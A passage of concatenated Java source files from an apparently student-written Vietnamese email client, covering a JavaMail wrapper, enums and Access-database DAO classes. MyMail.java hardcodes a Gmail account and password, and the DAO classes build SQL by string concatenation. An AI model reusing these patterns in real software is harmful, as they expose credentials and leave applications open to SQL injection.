layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(imageLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(appTitleLabel)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(appDescLabel)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(versionLabel)
.addComponent(appVersionLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(vendorLabel)
.addComponent(appVendorLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(homepageLabel)
.addComponent(appHomepageLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 19, Short.MAX_VALUE)
.addComponent(closeButton)
.addContainerGap())
);
pack();
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton closeButton;
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/DoAnLyThuyet_JavaOutLookAboutBox.java | Java | asf20 | 7,500 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook;
/**
*
* @author Dang Thi Phuong Thao
*/
import java.io.IOException;
import java.util.ArrayList;
import java.util.Properties;
import javax.mail.*;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class MyMail
{
private String smtp_host = "smtp.gmail.com";
private String pop3_host = "pop.gmail.com";
private String user = "blueskyairlines05@gmail.com";
private String pass = "987412365";
private String proxy = "";
private String port = "";
/**
* @return the smtp_host
*/
public String getSmtp_host() {
return smtp_host;
}
/**
* @param smtp_host the smtp_host to set
*/
public void setSmtp_host(String smtp_host) {
this.smtp_host = smtp_host;
}
/**
* @return the pop3_host
*/
public String getPop3_host() {
return pop3_host;
}
/**
* @param pop3_host the pop3_host to set
*/
public void setPop3_host(String pop3_host) {
this.pop3_host = pop3_host;
}
/**
* @return the user
*/
public String getUser() {
return user;
}
/**
* @param user the user to set
*/
public void setUser(String user) {
this.user = user;
}
/**
* @return the pass
*/
public String getPass() {
return pass;
}
/**
* @param pass the pass to set
*/
public void setPass(String pass) {
this.pass = pass;
}
public MyMail(String str_host,String str_pophost, String str_user, String str_pass,
String str_proxy, String str_port)
{
smtp_host = str_host;
pop3_host = str_pophost;
user = str_user;
pass = str_pass;
proxy = str_proxy;
port = str_port;
}
//http://stackoverflow.com/questions/46663/how-do-you-send-email-from-a-java-app-using-gmail
public Session getMailSession(boolean pophost) throws Exception{
Properties props = System.getProperties();
props.put("mail.smtp.starttls.enable", "true");
if (!proxy.equals("") && !proxy.equals("0")){
Properties p = System.getProperties();
p.setProperty("proxySet","true");
p.setProperty("socksProxyHost",proxy);
p.setProperty("socksProxyPort",port);
}
if(pophost)
props.put("mail.smtp.host",getPop3_host());
else
props.put("mail.smtp.host",getSmtp_host());
props.put("mail.smtp.user",getUser());
props.put("mail.smtp.password",getPass());
props.put("mail.smtp.port", "587");
props.put("mail.smtp.auth", "true");
return Session.getInstance(props, null);
}
public Message[] layCacMessageTrongInbox(Session session) throws NoSuchProviderException, MessagingException, IOException{
// tạo store từ session
Folder folder ;
Store store = session.getStore("pop3s");
store.connect(getPop3_host(), getUser(), getPass());
folder = store.getFolder("Inbox");
folder.open(Folder.READ_ONLY);
Message Kq[] = folder.getMessages();
folder.close(false);
store.close();
return Kq;
}
public void sendMail(String str_Subject, String str_ToAdd, String str_Content, String[] sAr_CCAdd,
String[] sAr_BCCAdd, Boolean b_IsSendText) throws AddressException, MessagingException, Exception {
//Tao MailSession
Properties props = System.getProperties();
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host",getSmtp_host());
props.put("mail.smtp.user",getUser());
props.put("mail.smtp.password",getPass());
props.put("mail.smtp.port", "587");
props.put("mail.smtp.auth", "true");
Session session = Session.getDefaultInstance(props, null);
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(getUser()));
//Them danh sach nguoi nhan---------------------------------------------
InternetAddress toAddress = new InternetAddress(str_ToAdd);
message.addRecipient(Message.RecipientType.TO, toAddress);
//----------------------------CC---------------------
InternetAddress[] CCAddress = new InternetAddress[sAr_CCAdd.length]; // To get the array of addresses
for( int i=0; i < CCAddress.length; i++ ) {
CCAddress[i] = new InternetAddress(sAr_CCAdd[i]);
}
for( int i=0; i < CCAddress.length; i++) {
message.addRecipient(Message.RecipientType.CC, CCAddress[i]);
}
//---------------------------BCC---------------------------
InternetAddress[] BCCAddress = new InternetAddress[sAr_BCCAdd.length]; // To get the array of addresses
//Them danh sach nguoi nhan
for( int i=0; i < BCCAddress.length; i++ ) {
BCCAddress[i] = new InternetAddress(sAr_BCCAdd[i]);
}
for( int i=0; i < BCCAddress.length; i++) {
message.addRecipient(Message.RecipientType.BCC, BCCAddress[i]);
}
//--------------------------------------------------------------------------
message.setSubject(str_Subject);
String str_ContentType = "text/";
str_ContentType += b_IsSendText ? "plain" : "html";
message.setContent(str_Content, str_ContentType);
//message.setContent(str_Content, str_ContentType);
Transport transport = session.getTransport("smtp");
transport.connect(getSmtp_host(), getUser(), getPass());
transport.sendMessage(message, message.getAllRecipients());
transport.close();
}
public void sendMail (MimeMessage message) throws Exception{
Session session = getMailSession(false);
Transport transport = session.getTransport("smtp");
transport.connect(getSmtp_host(), getUser(), getPass());
transport.sendMessage(message, message.getAllRecipients());
transport.close();
}
public static ArrayList<Part> layCacAttachCuaMail (Message mess) throws IOException, MessagingException
{
ArrayList<Part> Kq = new ArrayList<Part>();
Object content = mess.getContent();
if (content instanceof Multipart){
Multipart multipart = (Multipart)mess.getContent();
for (int i=0; i<multipart.getCount(); i++) {
Part part = multipart.getBodyPart(i);
String disposition = part.getDisposition();
if ((disposition != null) &&
((disposition.equals(Part.ATTACHMENT) ||
(disposition.equals(Part.INLINE))))) {
Kq.add(part);
}
}
}
// JFrame_GuiMail.luuTruCacPartVaoHDD(Kq, "Thu thui");
return Kq;
}
public static Part layPartNoiDung (Message mess) throws IOException, MessagingException
{
Part Kq = null;
Object content = mess.getContent();
if (content instanceof Multipart){
Multipart multipart = (Multipart)mess.getContent();
while ((multipart.getBodyPart(0).getContent()) instanceof Multipart){
multipart = (Multipart)multipart.getBodyPart(0).getContent();
}
//for (int i=0; i<multipart.getCount(); i++) {
Part part = multipart.getBodyPart(0);
Kq = part;
//}
}
// JFrame_GuiMail.luuTruCacPartVaoHDD(Kq, "Thu thui");
return Kq;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyMail.java | Java | asf20 | 7,866 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyEmum;
/**
*
* @author Dang Thi Phuong Thao
*/
public enum JEnum_ContactGroupBy {
KhongGroup(1),
Adress(2),
Company(3);
private final int value;
JEnum_ContactGroupBy(int value) {
this.value = value;
}
int value(){
return this.value;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyEmum/JEnum_ContactGroupBy.java | Java | asf20 | 426 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyEmum;
/**
*
* @author Dang Thi Phuong Thao
*/
public enum JEnum_MucDo {
BinhThuong(1),
QuanTrong(2),
RatQuanTrong(3);
private final int value;
JEnum_MucDo(int value) {
this.value = value;
}
int value(){
return this.value;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyEmum/JEnum_MucDo.java | Java | asf20 | 416 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyEmum;
/**
*
* @author Dang Thi Phuong Thao
*/
public enum JEnum_TinhTrang {
Moi(1),
DaXem(2),
DaXoa(3),
LamNhap(4),
Flagged(5),
User(6);
private final int value;
JEnum_TinhTrang(int value) {
this.value = value;
}
public int value(){
return this.value;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyEmum/JEnum_TinhTrang.java | Java | asf20 | 457 |
package doanlythuyet_javaoutlook;
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
import java.awt.Point;
import java.util.EventListener;
/**
*
* @author Dang Thi Phuong Thao
*/
public interface EventListener_ClickChuotVaoCayDuyetFile extends EventListener {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon);
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/EventListener_ClickChuotVaoCayDuyetFile.java | Java | asf20 | 403 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DAO;
import DTO.MyAttachDTO;
import java.io.IOException;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyAttachDAO extends AbDAO{
private ArrayList<MyAttachDTO> capNhatTuResultSet(ResultSet rs) throws SQLException{
ArrayList<MyAttachDTO> Kq = new ArrayList<MyAttachDTO>();
/*String Chuoi = "";
try {
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
Chuoi += rs.getMetaData().getColumnLabel(i) + ", ";
}
JOptionPane.showMessageDialog(null, Chuoi);
} catch (SQLException ex) {
Logger.getLogger(MyMailDAO.class.getName()).log(Level.SEVERE, null, ex);
}*/
//index = rsmd.getColumnCount();
int index = 0;
while (rs.next()) {
index = 1;
//String temp = rs.getString(index++);
int Id = rs.getInt(index++);
int IdMail = rs.getInt(index++);
String DuongDan = rs.getString(index++);
String TenFile = rs.getString(index++);
MyAttachDTO myContactDTO = new MyAttachDTO(Id, IdMail,DuongDan,TenFile);
Kq.add(myContactDTO);
}
return Kq;
}
public ArrayList<MyAttachDTO> layTatCaAttach () throws SQLException, IOException{
KetNoi();
ResultSet rs = thucThiTraVeResultSet("select * from attach");
ArrayList<MyAttachDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public ArrayList<MyAttachDTO> layTatCaAttachCuaMailID (int MailID) throws SQLException, IOException{
KetNoi();
ResultSet rs = thucThiTraVeResultSet("select * from attach where IDMail = " + MailID);
ArrayList<MyAttachDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public int themAttach (MyAttachDTO myAttachDTO) throws IOException{
KetNoi();
//String date = mailDTO.getM_Ngay().toString().substring(0, "dd-MM-yyyy hh:mm:ss".length());
String sql = "insert into attach(IDMail,DuongDan,TenFile)values(" + myAttachDTO.getM_IdMail()+ ", " + "'" + myAttachDTO.getM_DuongDan()+
"', " + "'" + myAttachDTO.getM_TenFile()+"'" + ")";
int Kq = thucThiUpdate(sql);
DongKetNoi();
return Kq;
}
public int xoaAttach(MyAttachDTO attachDTO) throws IOException{
KetNoi();
String sql = "Delete from attach Where ID ="+ attachDTO.getM_Id();
int kq = thucThiUpdate(sql);
DongKetNoi();
return kq;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DAO/MyAttachDAO.java | Java | asf20 | 2,916 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DAO;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
/**
*
* @author Administrator
*/
public class AbDAO {
protected Connection m_Conn;
protected Statement m_Sm;
protected void DongKetNoi(){
try {
m_Sm.close();
m_Conn.close();
} catch (SQLException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
}
protected void KetNoi() throws IOException{
String DBDriver = "sun.jdbc.odbc.JdbcOdbcDriver";
try {
try {
Class.forName(DBDriver).newInstance();
} catch (ClassNotFoundException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
} catch (InstantiationException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
} catch (IllegalAccessException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
//String file = "../Database/CSDL JavaMail.mdb";
String file = new java.io.File(".").getCanonicalPath();
//file =
file+="\\Database\\CSDL JavaMail.mdb";
//file = this.getClass().getResource("/Database/").getPath().replace("%20", " ") + "CSDL JavaMail.mdb";
//String file = "G:\\New Folder\\DoAnLyThuyet_JavaOutLook\\src\\Database\\CSDL JavaMail.mdb";
String url = "jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ="+file;
try {
m_Conn = DriverManager.getConnection(url);
} catch (SQLException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
}
protected ResultSet thucThiTraVeResultSet (String CauTruyVan){
try {
m_Sm = m_Conn.createStatement();
} catch (SQLException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
ResultSet rs = null;
try {
rs = m_Sm.executeQuery(CauTruyVan);
} catch (SQLException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
return rs;
}
/**
* thuc thi insert, update, delete
* @param CauTruyVan cau sql
* @return so dong bi tac dong, neu la cau insert thi tra ve autonumber vua duoc tao
*/
protected int thucThiUpdate (String CauTruyVan){
try {
m_Sm = m_Conn.createStatement();
} catch (SQLException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
int rs = -1;
try {
rs = m_Sm.executeUpdate(CauTruyVan);
if (CauTruyVan.trim().startsWith("insert"))
rs = layAutonumberMoiThem(m_Sm);
} catch (SQLException ex) {
Logger.getLogger(AbDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
return rs;
}
/**
* Lay autonumbuer vua moi duoc tao ra do cau lenh insert
* @param sm Statement goi cau lenh insert
* @return autonumber duoc tao
* @throws java.sql.SQLException
*/
public static int layAutonumberMoiThem (Statement sm) throws SQLException{
int Kq = -1;
ResultSet gKeysrs = sm.executeQuery("SELECT @@IDENTITY As TheNewId");
while (gKeysrs.next()){
Kq = gKeysrs.getInt(1);
}
return Kq;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DAO/AbDAO.java | Java | asf20 | 4,417 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DAO;
import DTO.MyContactDTO;
import java.io.IOException;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
//import AbDAO.java;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyContactDAO extends AbDAO {
private ArrayList<MyContactDTO> capNhatTuResultSet(ResultSet rs) throws SQLException{
ArrayList<MyContactDTO> Kq = new ArrayList<MyContactDTO>();
/*String Chuoi = "";
try {
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
Chuoi += rs.getMetaData().getColumnLabel(i) + ", ";
}
JOptionPane.showMessageDialog(null, Chuoi);
} catch (SQLException ex) {
Logger.getLogger(MyMailDAO.class.getName()).log(Level.SEVERE, null, ex);
}*/
//index = rsmd.getColumnCount();
int index = 0;
while (rs.next()) {
index = 1;
//String temp = rs.getString(index++);
int Id = rs.getInt(index++);
String Ten = rs.getString(index++);
String CongTy = rs.getString(index++);
String Hinh = rs.getString(index++);
String Email = rs.getString(index++);
String DienThoai = rs.getString(index++);
String NickName = rs.getString(index++);
String DiaChi = rs.getString(index++);
MyContactDTO myContactDTO = new MyContactDTO(Id, Ten,CongTy,Hinh,Email,DienThoai,NickName,DiaChi);
Kq.add(myContactDTO);
}
return Kq;
// return Kq;
}
public ArrayList<MyContactDTO> layTatCaContact () throws SQLException, IOException{
KetNoi();
ResultSet rs = thucThiTraVeResultSet("select * from Contact");
ArrayList<MyContactDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public ArrayList<MyContactDTO> layTatCaContactBangID (String Id) throws SQLException, IOException{
KetNoi();
ResultSet rs = thucThiTraVeResultSet("select * from Contact where ID = " + Id) ;
ArrayList<MyContactDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public int themContact (MyContactDTO contactDTO) throws IOException{
KetNoi();
//String date = mailDTO.getM_Ngay().toString().substring(0, "dd-MM-yyyy hh:mm:ss".length());
String sql = "insert into Contact(Ten,CongTy,Hinh,Email,DienThoai,nickname,DiaChi)" +
" values(" + "'" + contactDTO.getM_Ten() + "', " + "'" + contactDTO.getM_CongTy()+ "', " + "'" + contactDTO.getM_Hinh() + "', '" +
contactDTO.getM_Email() + "', " + "'" + contactDTO.getM_DienThoai() + "', " + "'" + contactDTO.getM_NickName() + "', '" +
contactDTO.getM_DiaChi() + "'" + ")";
int Kq = thucThiUpdate(sql);
DongKetNoi();
return Kq;
}
public int xoaContact(int Id) throws IOException{
KetNoi();
String sql = "Delete from Contact Where ID ="+ Id;
int kq = thucThiUpdate(sql);
DongKetNoi();
return kq;
}
public int capNhatContact (MyContactDTO mailDTO) throws IOException{
KetNoi();
int Kq = 0;
String sql = "update Contact set Ten = '" + mailDTO.getM_Ten() + "', CongTy = '" + mailDTO.getM_CongTy() + "'," +
" Hinh = '" + mailDTO.getM_Hinh() + "', Email = '" + mailDTO.getM_Email() + "', DienThoai = '" + mailDTO.getM_DienThoai() + "', " +
"nickname = '" + mailDTO.getM_NickName() + "', " + "DiaChi = '" + mailDTO.getM_DiaChi() + "' where id = " + mailDTO.getM_Id();
Kq = thucThiUpdate(sql);
DongKetNoi();
return Kq;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DAO/MyContactDAO.java | Java | asf20 | 4,080 |
/*
* To change this rs.getString(index++)late, choose Tools | rs.getString(index++)lates
* and open the rs.getString(index++)late in the editor.
*/
package DAO;
import DTO.MyMailDTO;
import doanlythuyet_javaoutlook.MyEmum.JEnum_TinhTrang;
import java.io.IOException;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Enumeration;
import java.util.Hashtable;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyMailDAO extends AbDAO {
/**
* Chuyen mot ResultSet thanh mot arraylist cac MyMailDTO
* @param rs ResultSet
* @return Arraylist duoc tao
* sau khi goi cau truy van chi can dung ham nay de chuyen doi ket qua, coi them o ham
* layTatCaMail de biet cach su dung
*/
private ArrayList<MyMailDTO> capNhatTuResultSet(ResultSet rs){
ArrayList<MyMailDTO> Kq = new ArrayList<MyMailDTO>();
/*String Chuoi = "";
try {
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
Chuoi += rs.getMetaData().getColumnLabel(i) + ", ";
}
JOptionPane.showMessageDialog(null, Chuoi);
} catch (SQLException ex) {
Logger.getLogger(MyMailDAO.class.getName()).log(Level.SEVERE, null, ex);
}*/
try {
//index = rsmd.getColumnCount();
int index = 0;
while (rs.next()) {
index = 1;
//String temp = rs.getString(index++);
int Id = rs.getInt(index++);
String ChuDe = rs.getString(index++);
String NguoiGoi = rs.getString(index++);
DateFormat df=new SimpleDateFormat("dd-MM-yyyy hh:mm:ss");
Date Ngay = df.parse(rs.getString(index++));
int MucDo = rs.getInt(index++);
String DuongDanThuMuc = rs.getString(index++);
String DuongDanFileChuaNoiDung = rs.getString(index++);
int TinhTrang = rs.getInt(index++);
String NguoiNhan = rs.getString(index++);
String CC = rs.getString(index++);
if (CC == null)
CC = "";
String BCC = rs.getString(index++);
if (BCC == null)
BCC = "";
MyMailDTO mailDTO = new MyMailDTO(Id, ChuDe, NguoiGoi, NguoiNhan, MucDo,
TinhTrang, CC, BCC, Ngay, DuongDanThuMuc, DuongDanFileChuaNoiDung);
Kq.add(mailDTO);
}
} catch (ParseException ex) {
Logger.getLogger(MyMailDAO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
} catch (SQLException ex) {
Logger.getLogger(MyMailDTO.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
return Kq;
}
public ArrayList<MyMailDTO> layTatCaMail () throws IOException{
KetNoi();
ResultSet rs = thucThiTraVeResultSet("select * from Mail");
ArrayList<MyMailDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public int themMail (MyMailDTO mailDTO) throws IOException{
KetNoi();
DateFormat df=new SimpleDateFormat("dd-MM-yyyy hh:mm:ss");
String date = df.format(mailDTO.getM_Ngay());
//String date = mailDTO.getM_Ngay().toString().substring(0, "dd-MM-yyyy hh:mm:ss".length());
String sql = "insert into Mail(ChuDe, NguoiGui, Ngay, MucDo, DuongDanThuMuc, DuongDanFileChuaNoiDung, TinhTrang, NguoiNhan, CC, BCC)" +
" values(" + "'" + mailDTO.getM_ChuDe() + "', " + "'" + mailDTO.getM_NguoiGoi() + "', " + "'" + date + "', " +
mailDTO.getM_MucDo() + ", " + "'" + mailDTO.getM_DuongDanThuMuc() + "', " + "'" + mailDTO.getM_DuongDanFileChuaNoiDung() + "', " +
mailDTO.getM_TinhTrang() + ", " + "'" + mailDTO.getM_NguoiNhan() + "', " + "'" + mailDTO.getM_CC() + "', " +
"'" + mailDTO.getM_BCC() + "'" + ")";
int Kq = thucThiUpdate(sql);
DongKetNoi();
return Kq;
}
/**
* Xoa mot mail
* @param mailDTO
* @return
* @throws java.io.IOException
*/
public int xoaMail(MyMailDTO mailDTO) throws IOException{
KetNoi();
String sql = "Delete from Mail Where ID ="+ mailDTO.getM_Id();
int kq = thucThiUpdate(sql);
DongKetNoi();
return kq;
}
public ArrayList<MyMailDTO> layTatCaMailTrongThuMuc (String duongDan) throws IOException{
KetNoi();
ResultSet rs = thucThiTraVeResultSet("select * from Mail where duongdanthumuc = '" + duongDan + "'");
ArrayList<MyMailDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public ArrayList<MyMailDTO> layTatCaMailVoiDieuKien (String duongDan, Hashtable<String, String> cacDieuKien) throws IOException{
KetNoi();
String whereString = " where TinhTrang <>" + JEnum_TinhTrang.DaXoa.value() + " and ";
Enumeration<String> e = cacDieuKien.keys();
while(e.hasMoreElements()){
String key = e.nextElement();
whereString += " " + key + "=";
if (!key.equalsIgnoreCase("TinhTrang") && !key.equalsIgnoreCase("MucDo") && !key.equalsIgnoreCase("ID")){
whereString += "'";
}
if (!key.equalsIgnoreCase("Ngay"))
whereString += cacDieuKien.get(key);
else{
DateFormat df=new SimpleDateFormat("dd-MM-yyyy hh:mm:ss");
whereString += df.format(cacDieuKien.get(key));
}
if (whereString.contains("'"))
whereString +="'";
whereString += " and ";
}
if (whereString.contains(" and"))
whereString = whereString.substring(0, whereString.lastIndexOf(" and "));
//JOptionPane.showMessageDialog(null, whereString);
String sql = "select * from Mail " + whereString;
ResultSet rs = thucThiTraVeResultSet(sql);
ArrayList<MyMailDTO> Kq = capNhatTuResultSet(rs);
DongKetNoi();
return Kq;
}
public int capNhatMail (MyMailDTO mailDTO) throws IOException{
KetNoi();
DateFormat df=new SimpleDateFormat("dd-MM-yyyy hh:mm:ss");
String date = df.format(mailDTO.getM_Ngay());
int Kq = 0;
String sql = "update Mail set ChuDe = '" + mailDTO.getM_ChuDe() + "', NguoiGui = '" + mailDTO.getM_NguoiGoi() + "'," +
" Ngay = '" + date + "', MucDo = " + mailDTO.getM_MucDo() + ", DuongDanThuMuc = '" + mailDTO.getM_DuongDanThuMuc() + "', " +
"DuongDanFileChuaNoiDung = '" + mailDTO.getM_DuongDanFileChuaNoiDung() + "', " + "TinhTrang = " + mailDTO.getM_TinhTrang() + " , " +
"NguoiNhan = '" + mailDTO.getM_NguoiGoi() + "', CC ='" + mailDTO.getM_NguoiGoi() + "', BCC = '" + mailDTO.getM_NguoiGoi() + "'";
sql+=" where id = " + mailDTO.getM_Id();
Kq = thucThiUpdate(sql);
DongKetNoi();
return Kq;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DAO/MyMailDAO.java | Java | asf20 | 7,452 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JPanel_XemMail.java
*
* Created on May 27, 2009, 9:23:59 AM
*/
package DAO;
import doanlythuyet_javaoutlook.MyUserControl.*;
import BUS.MyMailBUS;
import DTO.MyMailDTO;
import java.awt.Component;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.AbstractButton;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JCheckBox;
import javax.swing.JOptionPane;
import javax.swing.JTable;
import javax.swing.UIManager;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.JTableHeader;
import javax.swing.table.TableCellEditor;
import javax.swing.table.TableCellRenderer;
import javax.swing.table.TableColumn;
import javax.swing.table.TableColumnModel;
import javax.swing.table.TableModel;
/**
*
* @author Dang Thi Phuong Thao
*/
public class JPanel_XemMail_1 extends javax.swing.JPanel {
private Boolean tatCaDuocChon = false;
/** Creates new form JPanel_XemMail */
public JPanel_XemMail_1() {
initComponents();
//DuaDanhSachMailVaoBang(DanhSachMail);
}
public void ThemDongVaoBang (JTable table, Object[][] CacGiaTri){
DefaultTableModel model = (DefaultTableModel) table.getModel();
//model
}
public void XoaDongTrongBang (JTable table, int[] Indexs){
DefaultTableModel model = (DefaultTableModel) table.getModel();
//model.
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jSplitPane1 = new javax.swing.JSplitPane();
jPanel_DanhSachMail = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jTable_danhsachmail = new javax.swing.JTable();
jPanel_ChiTietMail = new javax.swing.JPanel();
jScrollPane2 = new javax.swing.JScrollPane();
jEditorPane_chitietmail = new javax.swing.JEditorPane();
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jLabel_chude = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel_goitu = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel_ngay = new javax.swing.JLabel();
setName("Form"); // NOI18N
addAncestorListener(new javax.swing.event.AncestorListener() {
public void ancestorMoved(javax.swing.event.AncestorEvent evt) {
}
public void ancestorAdded(javax.swing.event.AncestorEvent evt) {
formAncestorAdded(evt);
}
public void ancestorRemoved(javax.swing.event.AncestorEvent evt) {
}
});
jSplitPane1.setDividerLocation(200);
jSplitPane1.setOrientation(javax.swing.JSplitPane.VERTICAL_SPLIT);
jSplitPane1.setName("jSplitPane1"); // NOI18N
jPanel_DanhSachMail.setName("jPanel_DanhSachMail"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jTable_danhsachmail.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Tất cả", "Chủ đề", "Người gởi", "Ngày"
}
) {
Class[] types = new Class [] {
java.lang.Boolean.class, java.lang.String.class, java.lang.String.class, java.lang.String.class
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
});
jTable_danhsachmail.setCellSelectionEnabled(true);
jTable_danhsachmail.setName("jTable_danhsachmail"); // NOI18N
jTable_danhsachmail.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
jTable_danhsachmailMouseClicked(evt);
}
});
jScrollPane1.setViewportView(jTable_danhsachmail);
jTable_danhsachmail.getColumnModel().getColumn(0).setMinWidth(40);
jTable_danhsachmail.getColumnModel().getColumn(0).setPreferredWidth(40);
jTable_danhsachmail.getColumnModel().getColumn(0).setMaxWidth(40);
